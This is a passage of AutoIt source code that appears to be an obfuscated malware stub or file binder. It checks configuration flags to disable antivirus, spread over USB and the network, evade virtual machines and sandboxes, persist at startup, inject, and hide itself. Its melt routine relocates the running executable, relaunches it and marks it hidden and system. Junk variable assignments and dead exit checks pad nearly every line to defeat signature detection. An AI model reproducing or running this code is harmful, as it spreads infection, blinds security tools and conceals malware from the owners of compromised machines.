  8704.         Else
  8705.         EndIf
  8706.     EndIf
  8707.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8708.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8709.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8710.         Exit
  8711.     Else
  8712.     EndIf
  8713. EndIf
  8714. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8715. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8716. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8717.     Exit
  8718. Else
  8719. EndIf
  8720. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8721. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8722. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8723.     Exit
  8724. Else
  8725. EndIf
  8726. If StringInStr($path, $confuser) Then
  8727.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8728.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8729.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8730.         Exit
  8731.     Else
  8732.     EndIf
  8733.     Call("confuser")
  8734.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8735.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8736.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8737.         Exit
  8738.     Else
  8739.     EndIf
  8740. Else
  8741.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8742.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8743.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8744.         Exit
  8745.     Else
  8746.     EndIf
  8747. EndIf
  8748. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8749. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8750. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8751.     Exit
  8752. Else
  8753. EndIf
  8754. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8755. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8756. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8757.     Exit
  8758. Else
  8759. EndIf
  8760. $disable = "/-disable-/"
  8761. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8762. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8763. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8764.     Exit
  8765. Else
  8766. EndIf
  8767. If StringReplace($path, $disable, "") <> $path Then
  8768.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8769.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8770.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8771.         Exit
  8772.     Else
  8773.     EndIf
  8774.     Call("avdisable")
  8775.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8776.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8777.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8778.         Exit
  8779.     Else
  8780.     EndIf
  8781. Else
  8782.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8783.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8784.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8785.         Exit
  8786.     Else
  8787.     EndIf
  8788. EndIf
  8789. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8790. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8791. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8792.     Exit
  8793. Else
  8794. EndIf
  8795. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8796. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8797. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8798.     Exit
  8799. Else
  8800. EndIf
  8801. $usb = "/-usb-/"
  8802. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8803. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8804. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8805.     Exit
  8806. Else
  8807. EndIf
  8808. If StringInStr($path, $usb) Then
  8809.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8810.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8811.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8812.         Exit
  8813.     Else
  8814.     EndIf
  8815.     Call("usb")
  8816.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8817.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8818.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8819.         Exit
  8820.     Else
  8821.     EndIf
  8822. Else
  8823.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8824.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8825.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8826.         Exit
  8827.     Else
  8828.     EndIf
  8829. EndIf
  8830. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8831. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8832. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8833.     Exit
  8834. Else
  8835. EndIf
  8836. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8837. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8838. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8839.     Exit
  8840. Else
  8841. EndIf
  8842. $network = "/-network-/"
  8843. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8844. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8845. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8846.     Exit
  8847. Else
  8848. EndIf
  8849. If StringInStr($path, $network) Then
  8850.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8851.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8852.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8853.         Exit
  8854.     Else
  8855.     EndIf
  8856.     Call("network")
  8857.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8858.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8859.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8860.         Exit
  8861.     Else
  8862.     EndIf
  8863. Else
  8864.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8865.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8866.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8867.         Exit
  8868.     Else
  8869.     EndIf
  8870. EndIf
  8871. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8872. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8873. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8874.     Exit
  8875. Else
  8876. EndIf
  8877. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8878. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8879. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8880.     Exit
  8881. Else
  8882. EndIf
  8883. $vm = "/-antivm-/"
  8884. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8885. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8886. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8887.     Exit
  8888. Else
  8889. EndIf
  8890. If StringInStr($path, $vm) Then
  8891.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8892.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8893.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8894.         Exit
  8895.     Else
  8896.     EndIf
  8897.     Call("vm")
  8898.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8899.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8900.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8901.         Exit
  8902.     Else
  8903.     EndIf
  8904. Else
  8905.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8906.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8907.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8908.         Exit
  8909.     Else
  8910.     EndIf
  8911. EndIf
  8912. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8913. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8914. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8915.     Exit
  8916. Else
  8917. EndIf
  8918. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8919. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8920. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8921.     Exit
  8922. Else
  8923. EndIf
  8924. $start = "/-start-/"
  8925. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8926. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8927. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8928.     Exit
  8929. Else
  8930. EndIf
  8931. If StringInStr($path, $start) Then
  8932.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8933.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8934.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8935.         Exit
  8936.     Else
  8937.     EndIf
  8938.     Call("startup")
  8939.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8940.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8941.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8942.         Exit
  8943.     Else
  8944.     EndIf
  8945. Else
  8946.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8947.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8948.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8949.         Exit
  8950.     Else
  8951.     EndIf
  8952. EndIf
  8953. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8954. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8955. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8956.     Exit
  8957. Else
  8958. EndIf
  8959. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8960. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8961. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8962.     Exit
  8963. Else
  8964. EndIf
  8965. $melt = "/-melt-/"
  8966. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8967. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8968. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8969.     Exit
  8970. Else
  8971. EndIf
  8972. If StringInStr($path, $melt) Then
  8973.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8974.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8975.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8976.         Exit
  8977.     Else
  8978.     EndIf
  8979.     Call("melt")
  8980.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8981.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8982.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8983.         Exit
  8984.     Else
  8985.     EndIf
  8986. Else
  8987.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8988.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8989.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8990.         Exit
  8991.     Else
  8992.     EndIf
  8993. EndIf
  8994. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  8995. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  8996. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  8997.     Exit
  8998. Else
  8999. EndIf
  9000. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9001. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9002. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9003.     Exit
  9004. Else
  9005. EndIf
  9006. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9007. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9008. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9009.     Exit
  9010. Else
  9011. EndIf
  9012. $inject = "/-inject-/"
  9013. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9014. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9015. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9016.     Exit
  9017. Else
  9018. EndIf
  9019. If StringReplace($path, $inject, "") <> $path Then
  9020.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9021.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9022.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9023.         Exit
  9024.     Else
  9025.     EndIf
  9026.     DirCreate(@UserProfileDir & "\" & $randoms & "\")
  9027.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9028.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9029.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9030.         Exit
  9031.     Else
  9032.     EndIf
  9033.     DirCreate(@UserProfileDir & "\" & $randoms & "\")
  9034.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9035.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9036.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9037.         Exit
  9038.     Else
  9039.     EndIf
  9040.     FileWrite(@UserProfileDir & "\" & $randoms & "\jects.txt", "")
  9041.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9042.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9043.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9044.         Exit
  9045.     Else
  9046.     EndIf
  9047.     DirCreate(@UserProfileDir & "\" & $randoms & "\")
  9048.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9049.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9050.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9051.         Exit
  9052.     Else
  9053.     EndIf
  9054.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9055.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9056.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9057.         Exit
  9058.     Else
  9059.     EndIf
  9060. Else
  9061.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9062.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9063.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9064.         Exit
  9065.     Else
  9066.     EndIf
  9067. EndIf
  9068. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9069. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9070. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9071.     Exit
  9072. Else
  9073. EndIf
  9074. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9075. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9076. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9077.     Exit
  9078. Else
  9079. EndIf
  9080. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9081. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9082. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9083.     Exit
  9084. Else
  9085. EndIf
  9086.  
  9087. Func get_binded_settings($getfiledata, $stringtoget)
  9088.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9089.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9090.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9091.         Exit
  9092.     Else
  9093.     EndIf
  9094.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9095.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9096.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9097.         Exit
  9098.     Else
  9099.     EndIf
  9100.     Return StringTrimLeft($getfiledata, StringInStr($getfiledata, $stringtoget) - 1 + StringLen($stringtoget))
  9101.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9102.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9103.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9104.         Exit
  9105.     Else
  9106.     EndIf
  9107. EndFunc
  9108.  
  9109. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9110. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9111. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9112.     Exit
  9113. Else
  9114. EndIf
  9115. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9116. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9117. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9118.     Exit
  9119. Else
  9120. EndIf
  9121. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9122. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9123. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9124.     Exit
  9125. Else
  9126. EndIf
  9127. $task = "/-task-/"
  9128. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9129. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9130. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9131.     Exit
  9132. Else
  9133. EndIf
  9134. If StringInStr($path, $task) Then
  9135.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9136.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9137.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9138.         Exit
  9139.     Else
  9140.     EndIf
  9141.     Call("task")
  9142.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9143.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9144.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9145.         Exit
  9146.     Else
  9147.     EndIf
  9148. Else
  9149.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9150.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9151.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9152.         Exit
  9153.     Else
  9154.     EndIf
  9155. EndIf
  9156. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9157. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9158. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9159.     Exit
  9160. Else
  9161. EndIf
  9162. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9163. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9164. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9165.     Exit
  9166. Else
  9167. EndIf
  9168. $sandbox = "/-sandbox-/"
  9169. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9170. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9171. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9172.     Exit
  9173. Else
  9174. EndIf
  9175. If StringInStr($path, $sandbox) Then
  9176.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9177.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9178.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9179.         Exit
  9180.     Else
  9181.     EndIf
  9182.     Call("sandbox")
  9183.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9184.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9185.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9186.         Exit
  9187.     Else
  9188.     EndIf
  9189. Else
  9190.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9191.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9192.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9193.         Exit
  9194.     Else
  9195.     EndIf
  9196. EndIf
  9197. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9198. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9199. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9200.     Exit
  9201. Else
  9202. EndIf
  9203. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9204. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9205. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9206.     Exit
  9207. Else
  9208. EndIf
  9209. $hide = "/-hide-/"
  9210. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9211. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9212. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9213.     Exit
  9214. Else
  9215. EndIf
  9216. If StringInStr($path, $hide) Then
  9217.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9218.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9219.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9220.         Exit
  9221.     Else
  9222.     EndIf
  9223.     Call("hide")
  9224.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9225.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9226.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9227.         Exit
  9228.     Else
  9229.     EndIf
  9230. Else
  9231.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9232.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9233.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9234.         Exit
  9235.     Else
  9236.     EndIf
  9237. EndIf
  9238. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9239. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9240. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9241.     Exit
  9242. Else
  9243. EndIf
  9244. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9245. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9246. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9247.     Exit
  9248. Else
  9249. EndIf
  9250.  
  9251. Func melt()
  9252.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9253.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9254.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9255.         Exit
  9256.     Else
  9257.     EndIf
  9258.     $pathto = @UserProfileDir
  9259.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9260.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9261.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9262.         Exit
  9263.     Else
  9264.     EndIf
  9265.     If FileGetShortName(@ScriptDir) = FileGetShortName($pathto) Then
  9266.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9267.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9268.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9269.             Exit
  9270.         Else
  9271.         EndIf
  9272.     Else
  9273.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9274.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9275.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9276.             Exit
  9277.         Else
  9278.         EndIf
  9279.         FileMove(@ScriptFullPath, $pathto & "\" & @ScriptName, 1)
  9280.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9281.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9282.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9283.             Exit
  9284.         Else
  9285.         EndIf
  9286.         Run($pathto & "\" & @ScriptName)
  9287.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9288.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9289.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9290.             Exit
  9291.         Else
  9292.         EndIf
  9293.         FileSetAttrib(@UserProfileDir & "\" & @ScriptName, "+SH")
  9294.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9295.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9296.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9297.             Exit
  9298.         Else
  9299.         EndIf
  9300.         Exit
  9301.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9302.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9303.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9304.             Exit
  9305.         Else
  9306.         EndIf
  9307.     EndIf
  9308.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9309.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9310.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9311.         Exit
  9312.     Else
  9313.     EndIf
  9314. EndFunc
  9315.  
  9316. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9317. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9318. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9319.     Exit
  9320. Else
  9321. EndIf
  9322. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9323. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9324. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9325.     Exit
  9326. Else
  9327. EndIf
  9328.  
  9329. Func _random($imin, $imax, $iinteger = 0)
  9330.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9331.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9332.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9333.         Exit
  9334.     Else
  9335.     EndIf
  9336.     Local $irandom = Random($imin, $imax, $iinteger)
  9337.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9338.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9339.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9340.         Exit
  9341.     Else
